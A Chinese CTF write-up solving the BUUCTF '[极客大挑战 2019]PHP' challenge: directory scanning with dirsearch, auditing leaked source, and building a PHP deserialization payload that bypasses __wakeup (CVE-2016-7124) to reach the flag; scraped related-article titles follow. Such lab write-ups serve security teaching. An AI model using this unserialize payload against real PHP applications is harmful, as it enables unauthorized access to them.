知识点

  • 后台目录扫描工具:dirsearch

  • 魔术方法wakeup()绕过:当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

  • 常见的备份文件后缀名.git .svn .swp .~ .bak .bash_history .rar .zip .7z .txt .html .tar.gz .old .temp

  • private:private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

    public 属性被序列化的时候属性名还是原来的属性名,没有任何改变
    protected 属性被序列化的时候属性名会变成%00*%00属性名,长度跟随属性名长度而改变
    private 属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变

[极客大挑战 2019]PHP

题目类型:序列化与反序列化


这儿提示备份网站,用dirsearch扫一下后台目录
输入:python dirsearch.py -u http://9b76aef7-3183-4da4-a909-0f95ad5b6607.node4.buuoj.cn -e php

找到www.zip,访问一下
跳出弹窗,点击下载


发现有flag.php目录

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

无用信息
查看index.php源码,

发现包含class.php文件,采用get传参select,还有个php反序列化函数unserialize()

查看另一个文件class.php

查看源码

发现有输出flag的条件,接下来代码审计

<?php
include 'flag.php';
error_reporting(0);
class Name{private $username = 'nonono';private $password = 'yesyes';//创建对象时触发public function __construct($username,$password){$this->username = $username;$this->password = $password;}//使用unserialize时触发function __wakeup(){$this->username = 'guest';}//对象被销毁时触发//如果password=100,username=admin,在执行__destruct()的时候可以获得flagfunction __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();       }}
}
?>

通过反序列化来执行destruct函数,如果password=100,username=admin,可以获得flag

构造序列化

<?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}
}
$a = new Name('admin', 100);
var_dump(serialize($a));?>

接着执行反序列化,执行之前限制性wakeup函数,但是__wakeup函数会修改username的值,所以一个想办法绕过wakeup
绕过方法:当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

  • 方法一:用序列化加%00
    private:属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变。加%00的目的就是用于替代\0

    O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    构造payload:/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

  • 方法二:直接url编码

    <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}
    }
    $a = new Name('admin', 100);
    var_dump(serialize($a));
    var_dump(urlencode(serialize($a)));//进行url编码,防止%00对应的不可打印字符在复制时丢失
    ?>
    

【CTF】buuctf web(三)——PHP序列化与反序列化相关推荐

  1. .NET MVC第九章、Web Api Json序列化与反序列化

    .NET MVC第九章.Web Api Json序列化与反序列化 目录 .NET MVC第九章.Web Api Json序列化与反序列化 json数据格式 JSON 语法 返回对象 Json序列化 反 ...

  2. 【Android Protobuf 序列化】Protobuf 性能测试 ( fastjson 序列化与反序列化 | gson 序列化与反序列化 | 三种序列化与反序列化性能对比 )

    文章目录 一.导入依赖库 二.构造 JavaBean 三.fastjson 序列化与反序列化 四.gson 序列化与反序列化 五.完整代码 1.主界面代码 2.JSON 测试代码 3.执行结果 六.参 ...

  3. 大型分布式C++框架《三:序列化与反序列化》

    一.前言 个人感觉序列化简单来说就是按一定规则组包.反序列化就是按组包时的规则来接包.正常来说.序列化不会很难.不会很复杂.因为过于复杂的序列化协议会导致较长的解析时间,这可能会使得序列化和反序列化阶 ...

  4. 序列化和反序列化(转)

    转载:http://kb.cnblogs.com/page/515982/ 摘要 序列化和反序列化几乎是工程师们每天都要面对的事情,但是要精确掌握这两个概念并不容易:一方面,它们往往作为框架的一部分出 ...

  5. 序列化和反序列化--转

    http://www.infoq.com/cn/articles/serialization-and-deserialization 简介 文章作者服务于美团推荐与个性化组,该组致力于为美团用户提供每 ...

  6. 开发者应当熟知的 C# 序列化和反序列化

    作者 | 喵叔 责编 | 刘静 出品 | CSDN(ID:CSDNnews) 今天我利用这篇文章给大家讲解一下 C# 中的序列化与反序列化.这两个概念我们在开发中经常用到,但是我们绝大部分只用到了其中 ...

  7. 序列化和反序列化(转载美团网技术团队)

    摘要 序列化和反序列化几乎是工程师们每天都要面对的事情,但是要精确掌握这两个概念并不容易:一方面,它们往往作为框架的一部分出现而湮没在框架之中:另一方面,它们会以其他更容易理解的概念出现,例如加密.持 ...

  8. Java 中序列化与反序列化

    一. 序列化和反序列化概念 Serialization(序列化)是一种将对象以一连串的字节描述的过程:反序列化deserialization是一种将这些字节重建成一个对象的过程.将程序中的对象,放入文 ...

  9. python的文件流,初步网页爬虫,序列化和反序列化

    一.文件流 1.  open方法是打开文件,方法是: open("文件名",'打开方式','缓存'') 参数说明: "文件名":包含了你要访问的文件路径及文件名 ...

  10. 传递实体类对象_Java I/O 流之对象流中的序列化和反序列化

    一.概念 当两个进程远程通信时,彼此可以发送各种类型的数据. 无论是何种类型的数据,都会以二进制序列的形式在网络上传送.比如,我们可以通过 http 协议发送字符串信息:我们也可以在网络上直接发送 J ...

最新文章

  1. 数据结构的映像方法(数据元素的机内表示)
  2. R语言ggplot2可视化改变线图(line plot)中线条的色彩实战
  3. arcgis api for flex 开发入门(九)webservices 的使用
  4. s5-11 距离矢量路由选择协议
  5. 《MySQL实战45讲》基础理论篇 1-8讲 学习笔记
  6. 35. 搜索插入位置 golang
  7. golang errors 取 错误 信息_Golang 单元测试:有哪些误区和实践?
  8. java参数后面跟三个点是什么意思
  9. php追加数据,php追加数据到mysql
  10. Oracle 数据库、Microsoft SQL Server、MySQL 数据库三种常见数据库的区别深度剖析
  11. Hibernate学习笔记--映射配置文件详解
  12. hdu 1255 覆盖的面积
  13. 算法笔记-----归并排序
  14. w ndows7旗舰版怎么重装系统,windows7旗舰版怎么重装系统|怎么重装系统windows7旗舰版...
  15. 静默安装oracle11g单实例-腾讯云
  16. Spring data elasticsearch添加同义词组件实现同义词热更新
  17. Android 获取wifi列表
  18. Android面试常见问题汇总
  19. 课程笔记《碳中和产业报告》
  20. 基于STM32F103单片机的智能扫地机器人 循迹避障车 原理图PCB设计

热门文章

  1. 网易极客战记-KITHGARD地牢--Kithmaze最终历险 (需解锁)
  2. 软件2016班级分组
  3. ctf php fork,i春秋——“百度杯”CTF比赛 九月场——123(Apache解析pht,phtml,php3,phps等 php别名)...
  4. DA14531_dsps工程固件详解
  5. Seq2Seq模型应用案例
  6. kgdb的源代码分析
  7. 电气器件系列九:断路器(空开)
  8. 计算机在职博士好毕业么,计算机在职博士毕业答辩流程
  9. [Paddle Detection]基于PP-PicoDet行车检测(完成安卓端部署)
  10. 拥抱 Spring 全新 OAuth 解决方案:spring-authorization-server 该怎么玩?